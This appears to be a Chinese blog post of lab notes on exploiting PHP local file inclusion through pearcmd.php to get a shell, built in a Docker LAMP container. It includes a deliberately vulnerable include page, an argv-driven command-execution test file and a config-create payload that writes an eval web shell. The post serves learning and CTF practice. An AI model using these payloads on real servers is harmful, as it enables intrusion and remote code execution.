初始认识pearcmd.php

认识pearcmd.php,从LFI到getshell​

利用pearcmd.php本地文件包含(LFI)-入山梵行

利用时机

pecl是PHP中用于管理扩展而使用的命令行工具,
而pear是pecl依赖的类库。
在7.3及以前,pecl/pear是默认安装的;
在7.4及以后,需要我们在编译PHP的时候指定–with-pear才会安装。
不过,在Docker任意版本镜像中,pcel/pear都会被默认安装,安装的路径在/usr/local/lib/php。
但是但是但是,我的lamp就没有啊啊啊!!!!!!

安装了pear(这样才能有pearcmd.php)
开启了register_argc_argv
存在文件包含且可以包含后缀为php的文件且没有open_basedir的限制。

搭建环境

使用Docker搭建LAMP环境

LAMP(Linux+Apache+Mysql+Php)

1.拉取lamp镜像
docker pull docker.io/tutum/lamp
2.创建容器
docker run --name=lamp -d -p 8080:80 -p 3306:3306 tutum/lamp
3.进入容器
docker exec -it lamp /bin/bash
4. 查看容器有哪些文件
ll
在这里插入图片描述

5.最后一步,访问网站测试一下是否配置成功:
公网IP:8080/index.php (这个index可以直接访问的)在这里插入图片描述
访问成功显示在这里插入图片描述

快速体验

先准备两个php文件放在var/www/html下即可

先用xftp传送文件到服务器上
再将文件移动到lamp容器里
docker cp argv.php 6ae722e66638:/var/www/html

如何往 docker 容器传文件

<?php
    //file.php
	include($_REQUEST['file']);
?>
<?php
    //argv.php
	var_dump($_SERVER['argv']);
?>

这里我遇到了很多问题
web浏览器上执行不了
利用pearcmd
然后发现容器里可以
在这里插入图片描述
我再换个文件试试

<?php
	//test.php
var_dump($_SERVER['argv']);
$a = $_SERVER['argv'];
$a[0]($a[1]);
?>

但web模式还是不行
利用pearcmd.php从LFI到getshell
我发现/usr/share/pear 且下面没有pearcmd.php
然后去下了个放到里面试试
linux安装pear

终于找到了罪魁祸首:
在这里插入图片描述

需要开启register_argc_argv这个东西。这个东西之前做ctfshow的PHP特性的时候遇到过一次,如果存在php.ini的话,默认是Off。如果没有php.ini则默认是Off。
PHP官方提供的镜像里面也是默认没有php.ini,所以也是默认开启了这个register_argc_argv:

然而我的有。。
所以需要修改

然后就发现了 用vi可以代替vim

很悲剧的发现修改 apache2/php.ini好恶心
我直接给删了
在这里插入图片描述
然后然后就可以了
主机ip:8080/test.php?fff+222
在这里插入图片描述
传入system+ls也可以执行成功了

argv.php?1+2+6 也行了
在这里插入图片描述

尝试下
在这里插入图片描述

?+config-create+/&file=/usr/share/php/pearcmd.php&/<?=@eval($_POST[‘cmd’]);?+/tmp/test.php
在这里插入图片描述
文件包含之包含pearcmd.php漏洞

这又写不进去…再说吧

浅谈文件包含之包含pearcmd.php漏洞

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值